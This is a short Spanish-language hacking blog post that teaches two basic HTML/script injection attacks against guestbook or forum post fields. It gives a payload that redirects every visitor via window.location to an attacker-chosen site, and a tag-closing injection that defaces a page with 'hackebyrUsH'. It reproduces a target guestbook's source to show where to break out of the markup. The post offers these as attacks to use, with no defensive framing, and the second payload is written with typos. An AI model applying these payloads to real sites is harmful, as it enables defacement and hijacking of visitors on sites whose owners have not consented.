Injection HTML

Bueno aqui veremos 2 injectiones muy vasicas.

Primera injection:

Para hacer esta injection o ataque tenemos que saber si tiene el HTML activa para esto podemos ejecutar algun codigo HTML Como: <h2>rush</h2>Si vemos que cambia la letra o se hace mas grande de lo normal entonces el HTML esta activado, otra forma simple de saber es viendo como se ejecuta el post, por ejemplo si utilizan etiquetas <quote>texto</quote> <code>texto</code> entre otras nos daremos cuenta.

el siguiente paso es hacer una injection usando este codigo:

<script>window.location=’http://www.rush.com’;</script>

En dond dice rush cambiaremos eso por la web que quieres poner como pagina principal.

Segunda injection.

Aora tenemos que hacer lo mismo postear <h2>rush<h2> para ver si es vulnerable, pero vemos que no sirvio el codigo, no te preocupes no afuersa tiene que salir el codigo HTML y no sea vulnerable aora lo que vamos a hacer es ver el codigo de fuente.

<table border=”0″ width=”94%” cellspacing=”1″>
<tr>
<td width=”20%”><font face=”Arial” color=”black”><strong>Nombre:</strong></font></td>
<td width=”80%”><font color=”black”></font></td>
</tr>
<tr>
<td width=”20%”><font face=”Arial” color=”black”><strong>E-Mail:</strong></font></td>

<td width=”80%”><font color=”black”>@</font></td>
</tr>
<tr>
<td width=”20%”><font face=”Arial” color=”black”><strong>Localidad:</strong></font></td>
<td width=”80%”><font color=”black”></font></td>
</tr>
<tr>
<td width=”20%”><font face=”Arial” color=”black”><strong>Homepage:</strong></font></td>

<td width=”80%”><font color=”black”><a href=”http://<>”> </a></font></td>
</tr>
<tr>
<td width=”20%”><font face=”Arial” color=”black”><strong>Me encontr� en:</strong></font></td>
<td width=”80%”><font color=”black”>en GaliciaCity</font></td>
</tr>
<tr>

<td width=”20%”><font face=”Arial” color=”black”><strong>Me punt�a con:</strong></font></td>
<td width=”80%”><font color=”black”>10</font></td>
</tr>
<tr>
<td width=”20%” valign=”top”><font face=”Arial” color=”black”><strong>Comentarios:</strong></font></td>
<td width=”80%”><font color=”black”></font></td>
</tr>

y vemos:

<td width=”20%”><font face=”Arial” color=”black”><strong>Homepage:</strong></font></td>

<td width=”80%”><font color=”black”><a href=”http://<>”> </a></font></td>
</tr>

ay vemos que ay algunos codigos aviertos, tenemos que cerrarlos con </a></font><td>.

y aora usaremos esta injectio:

<a hrfe=”http://www.rush.com”</a></font></td><h1>hackebyrUsH</a></font></td>

y eso es todo solo tenemos que fijarnos en que etiquetas tenemos que cerra.

by: rUsH

Últimas entradas:

• Trucos de windows XP
• Internet Explorer 8 será instalado automáticamente
• Explotando Exploit PHP
• Explicion de puertos y como cerrarlos
• Phising y Pharming
• Como Hackear una red wifi.
• Como guardar un sitio web con teleport by rush.
• Hacker se manifiesta en la web de la camara diputados de mexico.
• Que es el phishing?
• Funcionamiento y prevencion de VIRUS!